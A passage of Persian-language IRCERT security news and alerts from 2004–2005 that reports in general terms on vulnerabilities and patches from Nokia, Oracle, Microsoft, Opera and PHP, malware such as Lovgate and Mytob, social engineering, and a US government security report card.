در ابتدا تلاش بر آن است که محرمانگی ( Confidentiality )‌ و جامعیت (‌Integrity )‌ تمامی سیستمهای اطلاعاتی دولتی که به سیستم امنیتی ملی متصل نیستند، حفظ شود و این سیستمها در دسترس ( Available ) باشند.

اوایل این ماه FISA ( Federal Information Security Management Act ) نتیجه مطالعه سالیانه خود بر روی سیستمهای مستقر در ادارات دولتی را منتشر کرد که در نتیجه از نظر امنیت کامپیوتر به این ادارات نمره D+ داده شد. بسیاری از ادارات مهم که بخش حیاتی از زیرساختهای دولتی آمریکا را در دست دارند نمره D و یا پایین تر کسب کردند. وزارتخانه های امنیت داخلی (Homeland Security )، بازرگانی و انرژی نتوانستند از این مطالعه نمره قبولی کسب کنند و F گرفتند.

در راهنمایی های اخیر NIST، کنترلهای امنیتی در 17 حوزه کلیدی از شناسایی کاربر و تایید هویت تا تخمین و برآورد ریسک تعریف شده اند.

ادارات دولتی و وب سایتها مشکلات امنیتی متعددی داشته اند و از حملات DoS تا سرقت اطلاعات بر روی آنها انجام گرفته است.


﻿ IRCERT - اخبار و هشدارها- Bluetooth گوشیهای نوکیا و مشکل امنیتی

گوشیهای نوکیا و مشکل امنیتی Bluetooth

22 جولای 2004 – 1 مرداد 1383

نوکیا بالاخره با گذشت بیش از 6 ماه از کشف یک مشکل امنیتی در Bluetooth در تعدادی از گوشی های نوکیا ، اعلام کرد که یک به روز رسانی نرم افزاری برای ترمیم تعدادی از این حفره ها ارائه کرده است.

در ماه فوریه نوکیا و سونی اریکسون پذیرفتند که تعدادی از گوشی های آنها که دارای امکان ارتباطی Bluetooth هستند ، دارای حفره ای هستند که به هکر اجازه می دهد تا بدون آن که کاربر توانایی تشخیص داشته باشد ، اطلاعات درون address book و Calendar را بخواند و یا تغییر دهد.

بعضی گوشی ها مشکل امنیتی جدی تری داشتند که حتی به هکر اجازه می داد از طریق آن گوشی تماس تلفنی برقرار کند ، ‌پیغام کوتاه ارسال کند و یا تنظیمات گوشی را تغییر دهد.

هنگامی که مشکلات مشخص شدند، سونی اریکسون به کاربران گوشیهای در معرض خطر اعلام کرد که آماده است تا گوشی های آنها را به روز رسانی کند اما نوکیا با بیان این نکته که مشکلات کشف شده به اندازه کافی جدی و خطرناک نیستند، اصلاحیه ای برای آن ارائه نکرد.

اما در ماه می و در پی فشار وارده از سوی مشتریان ، نوکیا اعلام کرد که در تابستان امسال اصلاحیه ای برای این مشکل ارائه خواهد کرد البته تاریخ دقیقی برای آن اعلام نکرد. امروز نوکیا اعلام کرد که برای 5 گوشی 6230 ، 6650 ، 6810 ،‌6820 و 7200 اصلاحیه را ارائه کرده و مشکل سایر گوشی ها را تا پایان تابستان حل خواهد کرد. البته نوکیا حرفی از چگونگی دریافت و نصب این اصلاحیه ها به میان نیاورده است.

متخصصان امنیتی معتقدند که کاربران باید هرچه سریعتر گوشی های خود را به روزرسانی کنند چون بسیار از سایتهای هک ابزارهای نرم افزاری را جهت انجام حمله روی Bluetooth در اختیار کاربران نه چندان حرفه ای قرار داده اند. پیش از ارائه به روزرسانی کارشناسان از کاربران خواسته بودند تا برای حفظ امنیت خود امکان Bluetooth‌ را غیرفعال کنند.

قابل به ذکر است که جهت انجام حمله ، هکر باید در فاصله نزدیک به کاربری با گوشی دارای امکان فعال Bluetooth باشد و زمان کافی نیز در اختیار داشته باشد. به همین دلیل است که به نظر می رسد نوکیا این مشکل را چندان جدی نگرفته است.


﻿ IRCERT - مهمترین خطر امنیتی : یک حیله قدیمی - اخبارها و هشدارها

مهمترین خطر امنیتی : یک حیله قدیمی

1 نوامبر 2004 - 11 آبان 1383

به گزارش گارتنر مهمترین خطری که کاربران اینترنت و شرکتهای بزرگ را طی ده سال آینده تهدید خواهد کرد، استفاده فزاینده و پیچیده از روشهای مهندسی اجتماعی برای نفوذ در دیواره های دفاعی IT است.

این شرکت دیروز طی گزارشی با بیان این نکته ، مهندسی اجتماعی را چنین تعریف کرد: “هدف قرار دادن کاربران به جای ماشینها جهت نفوذ به سیستم امنیتی یک شرکت یا فرد. “روشهایی مانند قانع کردن کاربر جهت کلیک کردن روی یک لینک یا باز کردن یک فایل الحاقی به ایمیل نیز در این تعریف قرار می گیرند.

بنابه گفته ریچ مگول - مدیر تحقیقات امنیت اطلاعات گارتنر - مهندسی اجتماعی در مقایسه با هک کردن مشک بزرگتری به شمار می رود. وی می گوید:“ مردم به شکلی طبیعی غیرقابل پیش بینی هستند و می توان با تلاش آنها را به انجام کاری قانع کرد. مطالعات نشان می دهد که انسانها کششهای رفتاری خاصی دارند که می توان با دقت از طریق این رفتارها عملیات نفوذ را انجام داد. اکثر نفوذها امنیتی مخرب تا به حال از طریق مهندسی اجتماعی انجام شده اند نه هک کردن و این مسئله به همین شکل باقی خواهد ماند.“

وی با اشاره به این نکته که سرقت هویت یکی از روشهای مهم به کار گرفته شده توسط مجرمان اینترنتی است، گفت:“ مجرمان از مهندسی اجتماعی استفاده می کنند تا هویت یک فرد را برای کسب منفعت یا اطلاعات به سرقت ببرند. این کار نه تنها روند تجاری را مختل می کند بلکه مخل زندگی خصوصی افراد نیز هست.“

مگول اعتقاد دارد که تنها خطر مهم امنیتی در دهه آینده مهندسی اجتماعی خواهد بود.


﻿ IRCERT - و پیروی از ویروسهای قدیمی - اخبارها و هشدارها Lovgate

Lovgate و پیروی از ویروسهای قدیمی

7 جولای 2004 – 17 تیر 1383

آخرین نسخه از کرم اینترنتی Lovgate کامپیوتر را برای یافتن فایلهای اجرایی جستجو می کند و سپس آنها را تغییر نام می دهد، روشی که ویروسهای نسلهای گذشته از آن استفاده می کردند.

اولین نسخه از این کرم در فوریه 2003 دیده شد و پس از آن نسخ مختلفی از آن در شبکه ها دیده شده است. آخرین نسخ آن یعنی Lovgate.AE و Lovgate.AH در روز 14 تیرماه کشف شد. آنها با استفاده از نشانی های موجود در کامپیوتر قربانی و از طریق ایمیل خود را منتشر می کنند. سپس یک در پشتی یا Back door روی کامپیوتر آلوده باز می کنند و کنترل سیستم را در اختیار هکر قرار می دهند. همچنین این کرم سعی می کند تا با روش مورد استفاده MSBlast سایر کامپیوترهای قابل نفوذ روی شبکه محلی را نیز آلوده کند.

مهمترین تفاوت در طبیعت مخرب این کرم است. با وجودی که آخرین کرم Lovgate داده های کاربر را پاک نمی کند فایلهای اجرایی را با کپی هایی از خودش جایگزین می کند و این کار باعث از کار افتادن کامپیوتر می شود چون هیچ برنامه ای را نمی توان روی آن اجرا کرد.

شرکت امنیتی F-Secure هشدار داده است که این کرم می تواند اکثر فایلهای اجرایی را روی یک کامپیوتر آلوده از بین ببرد. این شرکت در وبلاگ آزمایشگاه خود آورده است :“ این ویروس می تواند در یک لحظه صدها فایل اجرایی .exe را تغییر نام دهد. در نتیجه کاربر به جای یافتن یک یا دو فایل آلوده ، انبوهی از آنها را روی کامپیوتر خود می بیند.“

گروه امداد امنیت کامپیوتر McAfee درجه خطر این نسحه جدید را به medium افزایش داده است.


﻿ IRCERT - آنلاینیک توسط یک هکر شیرازی هک شده است! - اخبارها و هشدارها

آنلاینیک توسط یک هکر شیرازی هک شده است!

7 آوریل - 19 فروردین

سایت www.Onlinenic.com که یکی از سایتهای اصلی ثبت دامنه .com است، توسط یک هکر شیرازی هک شده است. یک منبع موثق که نخواست نامش فاش شود در گفتگو با گروه امداد امنیت کامپیوتری ایران (IRCERT) اعلام کرد که این سایت طی تعطبلات نوروز توسط یک هکر شیرازی مورد حمله قرار گرفته است و در حال حاضر این هکر با نفوذ به Onlinenic شروع به ثبت دامنه های مختلف .com کرده و آنها را برای فروش می گذارد. بنا بر شنیده ها متخصصان Onlinenic هنوز از هویت فرد مهاجم اطلاعی ندارند. به محض دریافت خبرهای تکمیلی در این رابطه، آن را در اختیار شما قرار خواهیم داد.


﻿ IRCERT - و اصلاح مشکلات امنیتی - اخبارها و هشدارها Opera

Opera و اصلاح مشکلات امنیتی

17 ژوئن 2005 - 27 خرداد 1384

تولیدکننده Opera ، اقدام به به روز رسانی این مرورگر کرده است تا تعدادی مشکل امنیتی را که مورد سوء استفاده هکرها و هویت ربایان قرار می گرفت، بپوشاند.

نسخه جدید یعنی Opera 8.01 حدود دو ماه پس از آن منتشر می شود که این شرکت نروژی Opera 8 را با شعار سهولت استفاده و امنیت بیشتر ارائه کرد.

شرکت Opera بر روی سایت خود اعلام کرده است که این به روز رسانی 5 مشکل امنیتی را برطرف کرده است. Secunia به مهمترین مشکلات کشف شده درجه moderately critical‌ داده است. بعضی از این حفره های امنیتی توسط همین شرکت کشف شده اند.

به گفته Secunia یکی از این حفره ها مربوط به XMLHttpRequest redirect بوده و دو مشکل دیگر در گروه cross-site scripting قرار می گرفتند. تمامی این مشکلات می توانند به یک هکر اجازه دهند تا به فایلهای قربانی دسترسی پیدا کند و یا یک سایت مورد اعتماد را جعل کند.

علاوه بر رفع این مشکلات، Opera بعضی موارد دیگر را نیز اصلاح کرده است.


﻿ IRCERT - اوراکل اصلاحیه ها را با تاخیر عرضه کرد - اخبارها و هشدارها

اوراکل اصلاحیه ها را با تاخیر عرضه کرد

1 سپتامبر 2004 – 11 شهریور 1383

بالاخره اوراکل پس از تاخیری طولانی و تلاش برای ارائه زمانبندی عرضه ماهیانه اصلاحیه های امنیتی، چند اصلاحیه را برای پوشاندن حفره های قدیمی ارائه کرد.

دیروز اوراکل اصلاحیه هایی را برای رفع مشکلات محصولات مختلف خود ارائه کرد که شامل نسخ 8i ، 9i و 10g نرم افزار Oracle Database Server و نسخ 9i و 10g نرم افزار Application Server بود. مشکلات و حفره های امنیتی مورد نظر طیف گسترده ای داشتند: از خطاهای معمول حافظه مانند سرریز بافر تا امکان قرار دادن دستوراتی در پیغامهای ارسالی به دیتابیس و درنتیجه اجازه دادن به یک هکر برای در دست گرفتن کنترل سرور.

شرکت Next-Generation Security Software که این اشکالات را یافته است، اعلام کرد که برای سه ماه جزئیات این مشکلات را نزد خود نگه می دارد و فاش نمی کند اما درجه اهمیت آنها را critical بیان کرد. این شرکت طی بیانیه ای امروز اعلام کرد که این سه ماه به مدیران فنی دیتابیس اوراکل اجازه می دهد تا پیش از آشکار شدن جزئیات، اصلاحیه مورد نظر را نصب و تست کنند.

در اواسط ماه آگوست اوراکل اعلام کرد که سعی دارد تا همانند مایکروسافت به عرضه ماهیانه اصلاحیه های امنیتی بپردازد.


﻿ IRCERT - اوراکل و رفع بیش از 30 مشکل امنیتی - اخبارها و هشدارها

اوراکل و رفع بیش از 30 مشکل امنیتی

3 آگوست 2004 – 13 مرداد 1383

شرکت اوراکل - سازنده نرم افزار پایگاه داده مشهور اوراکل – امروز قول داد که هرچه سریعتر اصلاحیه هایی را برای پوشش بیش از 30 حفره امنیتی شناخته شده توسط یک محقق امنیتی انگلیسی عرضه کند.

البته هنوز جزئیات این مشکلات گفته نشده است اما دیوید لیچفیلد - محقق انگلیسی – هفته گذشته در لاس وگاس در Black Hat Security Briefings اطلاعاتی کلی و عمومی را در این باره ارائه کرد.

اوراکل طی بیانیه ای که اخیرا درباره این موضوع صادر شده ، گفته است:“ امنیت برای ما موضوع مهمی است. ما سعی داریم تا امنیت را در اصل و ذات محصولات خود بهتر و بهتر کنیم. اوراکل این مشکلات را مرتفع کرده و به زودی هشدار امنیتی مربوطه صادر خواهد شد.“

لیچفیلد که مدیریت شرکت Next-Generation Security Software را به عهده دارد، قصد داشت اطلاعات مربوط به این مشکلات را هفته گذشته منتشر کند اما به دلیل ارائه نشدن اصلاحیه ها از این کار منصرف شد. لیچفیلد در ماه ژانویه اوراکل را از وجود این شکافها که بعضا خطرناک هستند، مطلع کرده است.

حفره های امنیتی کشف شده توسط لیچفیلد تنها مشکلاتی نیستند که امسال اوراکل با آنها برخورد داشته است. در ماه ژوئن نیز این شرکت اصلاحیه ای را برای پوشاندن یک مشکل امنیتی مهم در Oracle 11i E-Business Suite ارائه کرد.

لیچفیلد از صحبت درباره جزئیات این حفره ها امتناع کرده اما طیف آنها را گسترده معرفی کرده است. وی اشاره کرده که در این مجموعه از سرریز بافر و heap تا حفاظت ضعیف از کلمات عبور وجود دارد. وی افزوده است که در بعضی موارد کاربران بدون وارد کردن نام کاربری و کلمه عبور می توانند به سیستم دسترسی پیدا کنند و در بعضی موارد دیگر می توانند حق دسترسی محدود خود را تغییر داده و خود را به سطح مدیر پایگاه داده ارتقا دهند.

لیچفیلد می گوید که وی کار بر روی مشکلات امنیتی اوراکل را دو سال پیش آغاز کرده است. در آن زمان اوراکل تبلیغات زیادی بر روی قدرت امنیتی نرم افزار خود به راه انداخته بود. لیچفیلد مدعی است که در آن زمان و تنها ظرف مدت 24 ساعت وی به کمک همکارانش توانسته بود نزدیک به 50 مشکل امنیتی را در این نرم افزار بیابد.

لیچفیلد معتقد است هر فردی با بررسی لیست های ارائه شده از اصلاحیه های امنیتی اوراکل می تواند به قابل نفوذ بودن محصولات این شرکت پی ببرد اما تاکید می کند که اوراکل نیز همانند مایکروسافت و IBM سعی دارد تا به مشکلات امنیتی کشف شده اهمیت بدهد و از این نظر دیگر قابل سرزنش نیست. گفته می شود ممکن است اوراکل نیز بخواهد روشی همانند مایکروسافت را در برخورد با مشکلات امنیتی در پی بگیرد.


﻿ IRCERT - اوراکل و اصلاحیه امنیتی ماهیانه - اخبارها و هشدارها

اوراکل و اصلاحیه امنیتی ماهیانه

19 آگوست 2004 – 29 مرداد 1383

اوراکل به زودی روزی را برای ارائه اصلاحیه خود در ماه معرفی خواهد کرد. این شرکت امروز اعلام کرد که قصد دارد تا در روزی خاص در هر ماه به ارائه اصلاحیه های امنیتی خود بپردازد. این حرکت مشابه تصمیم مایکروسافت در اکتبر گذشته است که دومین سه شنبه هر ماه را برای انتشار اصلاحیه های خود برگزید.اوراکل طی بیانیه ای اظهار کرده است که ارائه اصلاحیه در برنامه زمانبندی مشخص را روش بهتری برای برطرف کردن نیاز کاربران می داند.

به نظر می رسد این شیوه ارائه اصلاحیه در بین شرکتهای تولیدکننده نرم افزار و سیستم عامل به تدریج رواج پیدا می کند. البته بسیاری از متخصصین امنیت به انتشار منظم اصلاحیه ها انتقاد دارند و سود آن را بیش از کاربران برای وجهه تولیدکنندگان می دانند، اما سایرین به این امر معتقد نیستند.

البته آمارها نشان می دهد که شرکتها سریعتر اصلاحیه ها را نصب می کنند. نیمه عمر یک حفره امنیتی - زمانی که طول می کشد تا تعداد سیستم های قابل نفوذ بوسیله یک حفره به نصف کاهش یابد- از 30 روز در سال 2003 به 21 روز در نیمه امسال کاهش یافته است.

بعضی متخصصین علت این کاهش را برنامه زمانی جدید مایکروسافت جهت انتشار اصلاحیه ها از یک طرف و ارائه یک اصلاحیه برای پوشش چند حفره از طرف دیگر می دانند.

اما با وجودی که انتشار منظم اصلاحیه ها باعث عملکرد بهتر شرکتها در اصلاح سیستمهایشان شده ، این روش باعث کندی نسبی شرکتهای تولیدکننده در ارائه اصلاحیه برای یک حفره نیز شده است. برای مثال انتقادهای بسیاری نسبت به عملکرد مایکروسافت در این زمینه انجام می شود. آمارها نشان می دهد در بعضی موارد بیش از 200 روز طول کشیده است تا اصلاحیه مربوط به یک حفره شناخته شده منتشر شود.


﻿ IRCERT - اوراکل: کاربران اصلاحیه جدید را نصب کنند - اخبارها و هشدارها

اوراکل: کاربران اصلاحیه جدید را نصب کنند

18 ژانویه 2005 - 29 دی 1383

امروز شرکت اوراکل یک اصلاحیه مهم برای دیتابیس و یک نرم افزار وبی برای بستن نزدیک به دو دوجین حفره امنیتی ارائه کرده است.

این اصلاحیه مهم که بر روی سایت این شرکت قرار گرفته است، قرار است 17 مشکل امنیتی را در نسخ مختلف نرم افزار Oracle Database Server ، سه مشکل را در Application Server این شرکت و یک مشکل را در Oracle Collaboration Server برطرف نماید.

اوراکل جزئیات این مشکلات امنیتی را منتشر نکرده است اما به میزان تهدیدات این حفره ها در یک جدول که همراه راهنمایی منتشر شده، پرداخته است.

این اصلاحیه در قالب اولین به روز رسانی فصلی اوراکل انجام شده است. این شرکت قصد دارد تا اصلاحیه های خود را در هر فصل در ماههای ژانویه، آوریل، جولای و اکتبر ارائه کند.


﻿ IRCERT - سیستم عاملها به کندی اصلاح می شوند - اخبارها و هشدارها

سیستم عاملها به کندی اصلاح می شوند

27 مه 2005 - 6 خرداد 1384

یک متخصص امنیتی مدعی است که گاه به شرکتهای تولیدکننده سیستم عامل 2 ماه فرصت داده شده است تا یک مشکل امنیتی را برطرف کنند و پس از آن، حفره امنیتی اعلام عمومی شده است، اما بعضی از این شرکتها نتوانسته اند حفره را در این زمان اصلاح کنند.

کالین پرسیوال ، یکی از اعضای تیم امنیتی FreeBSD ، برای نمونه به حفره موجود در پردازنده های اینتل پرداخت. این حفره به هکرها اجازه می داد تا اطلاعات حساسی مانند کلمات عبور را از سرورهایی که امکان اتصال همزمان کاربران را دارد، سرقت کنند.

پرسیوال مدعی است که سازندگان سیستم عاملهای سورس آزاد BSD و SCO و Ubuntu Linux به اشکال وارده پاسخ رسمی داده اند. اما RedHat، Novell و Mandriva از گروه سازندگان لینوکس و همچنین مایکروسافت در اصلاح این مشکل بسیار کند عمل کرده اند.

وی می گوید:“ من این مشکل را در اوایل ماه مارس گزارش کردم و فکر می کنم آنها با گذشت بیش از یک ماه، باید می توانستند اصلاحیه ای ارائه کنند و پس از انجام تست قبل از 13 ماه مه آن را عرضه کنند. من به همه اعلام کرده بودم که مقاله خود درباره این مشکل امنیتی را در این روز عرضه خواهم کرد و لذا آنها باید تا این زمان آماده باشند.“

سخنگوی RedHat اعلام کرد که تیم امنیتی آنها درجه خطر این مشکل را متوسط ارزیابی کرده است و آنها در حال همکاری با تولیدکنندگان OpenSSL toolkit - که برای نفوذ از طریق حفره به کار گرفته می شود - هستند تا اصلاحیه را ارائه کنند.

سخنگوی مایکروسافت نیز در پاسخ گفت که زمانی که این شرکت در حال بررسی گزارش پرسیوال بوده است، اطلاعی از حمله فعال از طریق این حفره دریافت نکرده است و لذا صبر کرده است تا با تکمیل مطالعات، عکس العمل بهتری نشان دهد.

سخنگوی Novell‌ نیز اعلام کرده است که این شرکت از مشکل مزبور آگاهی دارد و در حال کار بر روی آن است.

پرسیوال به عکس العمل اینتل که درجه خطر این مشکل را بسیار پایین معرفی کرده است نیز انتقاد دارد. وی می گوید:“ این حفره به کاربران یک ماشین اجازه می دهد که اطلاعات یکدیگر را سرقت کنند. برای مثال در وب سرورهای مشترک که بسیاری از سایتهای کوچک تجارت الکترونیکی را میزبانی می کنند، این مشکل بسیار جدی است.“

پرسیوال در دسامبر ماه گذشته تولیدکنندگان BSD را از این مشکل آگاه کرده بود.


﻿ IRCERT - رخنه امنیتی در کامپیوترهای مکینتاش - اخبارها و هشدارها

رخنه امنیتی در کامپیوترهای مکینتاش

10 آوریل – 22 فروردین

رخنه امنیتی در سیستم عامل OS X‌ کامپیوترهای Apple‌ راه را برای نفوذ اسب‌های تروا و ویروس‌ها به محصولات مکینتاش باز کرده است. این رخته توسط شرکت فرانسوی Intego گزارش شده است. این شرکت با نمونه‌ای از اسب تروا برای OS X برخورد داشته که به شکل فایل موسیقی با فرمت MP3 ظاهر می‌شود.

سیستم عامل OS X‌ فایل اسب تروا را به جای یک برنامه به صورت یک فایل صوتی با آیکن مربوط به فایل‌های MP3‌ و پسوند mp3‌ نمایش می‌دهد. کاربران با این تصور که با دو بار کلیک بر روی فایل می‌توانند موسیقی گوش دهند، کد مخفی موجود در فایل را اجرا می‌کنند.
اجرای این کد منجر به خراب شدن و یا حذف فایل‌های روی کامپیوتر شده و پس از آن iTunes اجرا می‌شود
تا موسیقی ذخیره شده در فایل پخش شود، با این ترتیب کاربر فکر می‌کند که واقعا با یک فایل MP3‌ مواجه است.

شرکت Apple اعلام کرده از نقطه ضعف سیستم عامل خود آگاه است و در حال تحقیق در این مورد است.


﻿ IRCERT - اخبار و هشدارها- Outlook خطر حفره امنیتی

خطر حفره امنیتی outlook بیش از تصور است

۱۰ مارس – ۲۰ اسفند

مایکروسافت پس از بحث و بررسی با محققین و کارشناسان میزان خطر حفره امنیتی یافت شده در Outlook را به بالاترین میزان یعنی critical افزایش داد. مشکل امنیتی موجود در Outlook 2002 به هکر اجازه می داد تا با استفاده از یک وب سایت خطرناک کامپیوتر قربانی را مجبور به دریافت و اجرای یک برنامه کند. مایکروسافت در ابتدا اعلام کرد که تنها کاربرانی مورد تهدید قرار دارند که فلدر Outlook Today را به عنوان صفحه پیش فرض خود در Outlook قرار داده باشند. اما ظاهرا پتانسیل حمله و خطر بیش از این است. البته مایکروسافت مدعی است که بسته امنیتی ارائه شده از هرگونه حمله از طریق این حفره جلوگیری خواهد کرد.

بسته امنیتی مزبور از سایت مایکروسافت قابل دریافت است. ضمنا درصورت نصب Service Pack 3 برای آفیس XP ای حفره پوشانده می شود.

این سومین بار طی ۱۸ ماه گذشته است که مایکروسافت درجه خطر یک مشکل امنیتی را پس از معرفی بالا می برد.


﻿ IRCERT - ویروس های هفته دوم خرداد ماه - اخبارها و هشدارها

ویروس های هفته دوم خرداد ماه

8 ژوئن 2005 - 18 خرداد 1384

در هفته ای که گذشت لابراتوار شرکت Panda Software ویروس های اینترنتی زیر را شناسائی کرد:

کرم اینترنتی Mytob‌ و‌ دو تروجان با نام های Mitglieder.DC و Rona.A.

کرم Mytob.DWکه به گزارش پاندا در اوائل هفته منتشر شد، مانند سایر گونه های این کرم از طریق ایمیل گسترش می یابد و با آلوده کردن یک کامپیوتر و جمع آوری آدرسهای ایمیل موجود در آن، خود را در قالب یک فایل الحاقی به کلیه آدرس های ایمیل ارسال می کند.

کرم های اینترنتی برای این که بتوانند دستوراتی که از طرف یک هکر می رسد را اجرا کنند backdoor های سیستم را باز می کنند و از دسترسی کاربر به سایت های امنیتی جلوگیری می کنند.

Mytob.DW پس از نصب روی یک کامپیوتر، تغییراتی را در رجیستری ویندوزایجاد می کند. در نتیجه با هر بار روشن شدن کامپیوتر مجددا این کرم اجرا می شود.ضمنا Mytob.DW از به روز شدن آنتی ویروس سیستم نیز جلوگیری می کند.

Mitglieder.DC یک تروجان خطرناک است که در عرض چند ساعت به صورت گسترده ای منتشر شد. هدف اصلی آن متوقف کردن عملیات آنتی ویروس سیستم است. این تروجان با حذف چند ورودی از رجیستری ویندوز فعالیت کلیه برنامه های مربوط به امنیت سیستم را متوقف می کند. Mitglieder.DC تلاش می کند تا فایلی به نام OSA.GIF را از یک سایت اینترنتی داونلود کند. این فایل اگرچه دارای پسوند یک فایل تصویری است، اما در واقع یک فایل اجرائی و آلوده به تروجان Downloader.CYB است. Mitglieder.DC در چند روز گذشته به سرعت و بطور گسترده ای از طریق ایمیل در اینترنت منتشر شده است.

Rona.A یک تروجان بسیار قدرتمند است که با هدف جاسوسی از فعالیت کاربران طراحی شده است. این تروجان کلیه کلیدهایی را که کاربر روی صفحه کلید می فشارد و وب سایت هایی را که مشاهده می کند، حتی فیلم هایی را که می بیند، به نویسنده خود گزارش می کند. شناسائی این تروجان بسیار آسان است چرا که با ورود خود به سیستم با نمایش یک پنجره خود را به عنوان یک برنامه امنیتی معرفی می کند. این تروجان نیز برای انتشار خود از IRC, FTP و فایلهای به اشتراک گذاشته شده و یا ایمیل استفاده می کند.

آنتی ویروس پاندا به کاربران توصیه می کند برای جلوگیری از هجوم این کدهای آلوده آنتی ویروس خود را به روز کنند.


﻿ IRCERT - پایان عمر کلمه عبور - اخبارها و هشدارها

پایان عمر کلمه عبور

24 فوریه – 5 اسفند

بیل گیتس پیش بینی کرد که گذرواژه یا کلمه عبور (Password) از بین خواهد رفت چون نمی تواند امنیت اطلاعات مهم و محرمانه را حفظ کند. گیتس که در کنفرانس امنیت RSA در سانفرانسیسکو سخن می گفت چنین ادامه داد : " شکی وجود ندارد که با گذشت زمان ،مردم اتکا و اعتماد کمتری به کلمات عبور خواند داشت. معمولا کاربران از یک کلمه عبور برای سیستمهای مختلف بهره می گیرند و همچنین آن را یادداشت می کنند. لذا کلمه عبور نمی تواند امنیت لازم برای اطلاعات مهم را تامین کند."

RSA سعی دارد تا با کمک مایکروسافت یک فناوری شناسه امن یا SecurID را خاص ویندوز ایجاد کند. هر دو شرکت به این نتیجه رسیده اند که لازم است نقاط ضعف امنیتی مرتبط با کلمات عبور ضعیف را به گونه ای برطرف کنند.

SecurID بهترین سیستم شناخته شده تایید هویت دوگانه است و بسیاری از سازمانها و شرکتها آن را مورد استفاده قرار داده اند. این سیستم یک سری از اعداد را تولید می کند که دائما درحال تغییر هستند و کاربر باید این سری را در ادامه کلمه عبور خود وارد کند. درصورت استفاده از یک سیستم خاص تایید هویت در ویندوز ، این امر در سازمانها و شرکتها راحت تر و ارزانتر انجام خواهد شد.

البته گیتس خاطر نشان کرد که از SecurID در داخل ویندوز استفاده نخواهد شد و به صورت یک سیستم مبتنی بر کارت هوشمند به کار گرفته خواهد شد.

همچنین مایکروسافت نرم افزار کارت شناسایی بیومتریک tamper resistant را عرضه کرده که می تواند امکان صدور کارت شناسایی را در شرکتهای کوچگ و بزرگ و تنها با داشتن یک دوربین دیجیتالی ، یک چاپگر جوهرافشان و یک اسکنر کارت فراهم کند. برای ایجاد کارت ، نرم افزار به یک عکس و بعضی اطلاعات اصلی دارنده کارت مانند نام و تاریخ تولد نیاز دارد. نرم افزار این اطلاعات را پردازش می کند تا یک امضای دیجیتالی را در قالب یک بارکد که بر روی کارت چاپ می شود، ایجاد کند.اگر هر یک از اطلاعات روی کارت به صورت غیرمجاز تغییر پیدا کند، با توجه به امضی دیجیتالی تشخیص داده می شود و کارت مورد پذیرش قرار نمی گیرد. گفته می شود که این سیستم به پایگاه داده نیازی ندارد و تمامی اطلاعات بر روی کارت ذخیره می شود. حتی می توان تصویر اثر انگشت یا اسکن چشم را نیز درن کارت ذخیره کرد تا امکان مقایسه وجود داشته باشد. مایکروسافت هنوز درباره عرضه رسمی این سیستم اظهار نظر نکرده است.


﻿ IRCERT - حفره ای در سرور امنیتی مایکروسافت - اخبارها و هشدارها

حفره ای در سرور امنیتی مایکروسافت

9 نوامبر 2004- 19 آبان 1383

امروز مایکروسافت اعلام کرد که یک حفره در نرم افزار سرور امنیتی این شرکت می تواند به یک هکر اجازه دهد تا کاربران تجاری را به اشتباه بیاندازد تا به یک محتوای غیرقابل اعتماد و خطرناک اعتماد کنند.

این حفره نرم افزار Internet Security and Acceleration (ISA) Server 2000 را تحت تاثیر قرار می دهد. این نرم افزار به عنوان یک فایروال، فیلتر محتوایی و کش (cache) کننده محتوای وب به کار می رود.

مایکروسافت اصلاحیه ای برای این حفره ارائه کرده است و درجه اهمیت این حفره را important یعنی دومین درجه اهمیت اعلام کرده است.

مایکروسافت در آخرین راهنمایی خود اعلام کرده است:“ کاربران باور می کنند که به محتوای اینترنتی قابل اعتمادی دسترسی دارند در حالی که در واقع به محتوای خطرناکی دسترسی پیدا کرده اند، برای مثال به یک وب سایت خطرناک“

این حفره امکان کش کردن صفحات وب برای دسترسی سریعتر را تحت تاثیر قرار می دهد. تصاویر گرافیکی و فایلهای بزرگ سایتهای دیده شده توسط یک کارمند یک شرکت در کش نگهداری می شود تا زمانی که کارمند دیگری از همان شرکت بخواهد آن سایتها را ببیند برای وی نمایش داده شود. این حفره ISA به هکر اجازه می دهد تا محتوای خطرناکی را در کش وارد کند و برای مثال آن را به عنوان محتوای سایت بانک یا هر سایت مورد اعتماد و کاربرد دیگر جا بزند.

Symantec به شرکتهایی که از نرم افزار ISA استفاده می کنند هشدار داده است که از این حفره می توان برای جمع آوری اطلاعات حساس از کاربران استفاده کرد.هنگامی که یک کاربر به یکی از این سایتهای خطرناک وارد شود، هکر می تواند فرمهای مختلفی را بسازد و به عنوان فرمهای رسمی آن سایت مورد اعتماد در اختیار کاربر قرار دهد.

Symantec از کاربران خواسته است تا برای مقابله با این تهدید، بر روی لینکهای اشاره کننده به سایتهای ناشناس کلیک نکنند.

راهنمایی امنیتی امروز بخشی از هشدارهای ماهانه مایکروسافت است که از سال پیش آغاز شده است. این ماه تنها این مشکل امنیتی ISA آشکار شده است.

بنابه گفته مایکروسافت این حفره ISA Server 2004 را تحت تاثیر قرار نمی دهد. شرکتهایی که از ISA Server 2000 و Proxy Server 2.0 استفاده می کنند باید هرچه سریعتر اصلاحیه مربوطه را دریافت و نصب کنند.


﻿ IRCERT - اخبار و هشدارها - PHP رفع چند مشکل امنیتی مهم در

رفع چند مشکل امنیتی مهم در PHP

17 دسامبر 2004 - 27 آذر 1383

دو به روز رسانی نرم افزاری منتشر شده است که چند حفره امنیتی مهم را می پوشاند و از سوء استفاده هکرها از این حفره ها جهت حمله به سرورهایی که از PHP استفاده می کنند، جلوگیری می کند.

PHP Group در این هفته نسخه های 4.3.10 و 5.0.3 از این نرم افزار پردازشگر صفحات وب را منتشر کرده است تا مشکلات مذکور را حل کند. این گروه بر روی سایت خود به همه کاربران PHP‌ توصیه کرده است که سیستم خود را هرچه سریعتر به یکی از دو نسخه فوق ارتقا دهند.

مهمترین حفره در تابعی وجود دارد که برای فشرده سازی داده جهت ذخیره سازی به کار می رود. با استفاده از این حفره یک هکر می تواند کنترل وب سروری را که نسخه قابل نفوذ PHP را اجرا کرده است، به دست بگیرد.

PHP دارای یک زبان اسکریپت نویسی سمت سرور است که می تواند درون صفحات وب قرار گیرد تا محتوای پویا تولید کند و یک برنامه پردازشگر نیز دارد که بر روی فرمانها عکس العمل نشان می دهد. بسیاری از برنامه های blogging و مدیریت محتوا ( Content Management ) به زبان PHP نوشته شده اند.

